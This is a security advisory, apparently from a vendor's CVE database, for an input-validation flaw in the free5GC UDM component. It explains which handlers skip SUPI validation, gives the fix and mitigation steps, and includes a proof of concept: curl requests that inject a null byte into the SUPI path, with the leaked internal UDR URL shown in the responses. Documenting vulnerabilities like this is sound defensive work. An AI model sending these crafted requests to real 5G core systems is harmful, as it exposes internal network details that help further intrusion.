CVE-2026-42459 — udm
CVE-2026-42459 is a Improper Input Validation vulnerability in github.com/free5gc/udm. No vendor fix is recorded yet; mitigation options are listed below.
free5GC: Improper Input Validation and Generation of Error Message Containing Sensitive Information in github.com/free5gc/udm
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-42459.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Real-World Exposure
github.com/free5gc/udmReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The free5GC UDM component fails to validate the supi path parameter in six GET handlers of the nudm-sdm (Subscriber Data Management) service. An unauthenticated attacker can inject control characters into the SUPI parameter, causing UDM to forward a malformed request to UDR and return a 500 Internal Server Error response that exposes internal infrastructure details.
Affected Package
- Ecosystem: Go
- Package:
github.com/free5gc/udm - Affected versions:
<= v1.4.2 - Patched versions: none yet
Details
The following handlers in internal/sbi/api_subscriberdatamanagement.go do not call validator.IsValidSupi() before passing the supi parameter to the processor:
HandleGetSmfSelectData—GET /:supi/smf-select-dataHandleGetSupi—GET /:supiHandleGetTraceData—GET /:supi/trace-dataHandleGetUeContextInSmfData—GET /:supi/ue-context-in-smf-dataHandleGetNssai—GET /:supi/nssaiHandleGetSmData—GET /:supi/sm-data
By contrast, HandleGetAmData in the same file correctly validates the supi parameter:
// HandleGetAmData — correctly validates (not vulnerable)
supi := c.Params.ByName("supi")
if !validator.IsValidSupi(supi) {
c.JSON(http.StatusBadRequest, problemDetail)
return
}
// HandleGetSmfSelectData — missing validation (vulnerable)
supi := c.Params.ByName("supi")
// ← no validator.IsValidSupi(supi) call
s.Processor().GetSmfSelectDataProcedure(c, supi, plmnID, supportedFeatures)
The malformed supi is passed to the processor which constructs a URL to forward the request to UDR. Go's net/url parser rejects the URL containing control characters and returns an error. UDM catches this error and responds with a 500 SYSTEM_FAILURE that includes the full internal UDR URL in the detail field.
This is a missed fix of CVE-2026-27642, which applied the same validator.IsValidSupi() check only to internal/sbi/api_ueauthentication.go (HandleConfirmAuth and HandleGenerateAuthData), leaving the SDM service handlers unpatched.
Proof of Concept
# Vulnerable — returns 500 with internal UDR URL exposed
curl "http://<UDM_HOST>/nudm-sdm/v2/imsi-22277%00INJECTED/smf-select-data"
curl "http://<UDM_HOST>/nudm-sdm/v2/imsi-22277%00INJECTED/nssai"
curl "http://<UDM_HOST>/nudm-sdm/v2/imsi-22277%00INJECTED/trace-data"
curl "http://<UDM_HOST>/nudm-sdm/v2/imsi-22277%00INJECTED/sm-data"
# Expected (vulnerable) response:
# HTTP 500
# {
# "title": "System failure",
# "status": 500,
# "detail": "parse \"http://udr.internal:80/nudr-dr/v2/subscription-data/imsi-22277\x00INJECTED//provisioned-data/smf-selection-subscription-data\": net/url: invalid control character in URL",
# "cause": "SYSTEM_FAILURE"
# }
# Protected endpoint (for comparison) — returns 400
curl "http://<UDM_HOST>/nudm-sdm/v2/imsi-22277%00INJECTED/am-data"
# HTTP 400
# {"title":"Malformed request syntax","status":400,"detail":"Supi is invalid","cause":"MANDATORY_IE_INCORRECT"}
Impact
An unauthenticated remote attacker can send a crafted GET request to any of the six affected endpoints to obtain:
- Internal UDR hostname and port
- Full internal API path structure (
/nudr-dr/v2/subscription-data/...) - UDR API version
- Internal service naming convention
This information can be used to facilitate further attacks against the UDR or other internal 5G core components.
Recommended Fix
Add validator.IsValidSupi() to all six affected handlers, following the pattern already used in HandleGetAmData:
supi := c.Params.ByName("supi")
if !validator.IsValidSupi(supi) {
problemDetail := models.ProblemDetails{
Title: "Malformed request syntax",
Status: http.StatusBadRequest,
Detail: "Supi is invalid",
Cause: "MANDATORY_IE_INCORRECT",
}
c.Set(sbi.IN_PB_DETAILS_CTX_STR, http.StatusText(int(problemDetail.Status)))
c.JSON(int(problemDetail.Status), problemDetail)
return
}
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/free5gc/udm | all versions | No fix |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/free5gc/udm, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Remediation status
No patched version of github.com/free5gc/udm has shipped for CVE-2026-42459 yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.
Mitigate without a patch
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-42459 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2026-42459. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-42459 in your dependencies?
O3 Security finds CVE-2026-42459 across Go dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.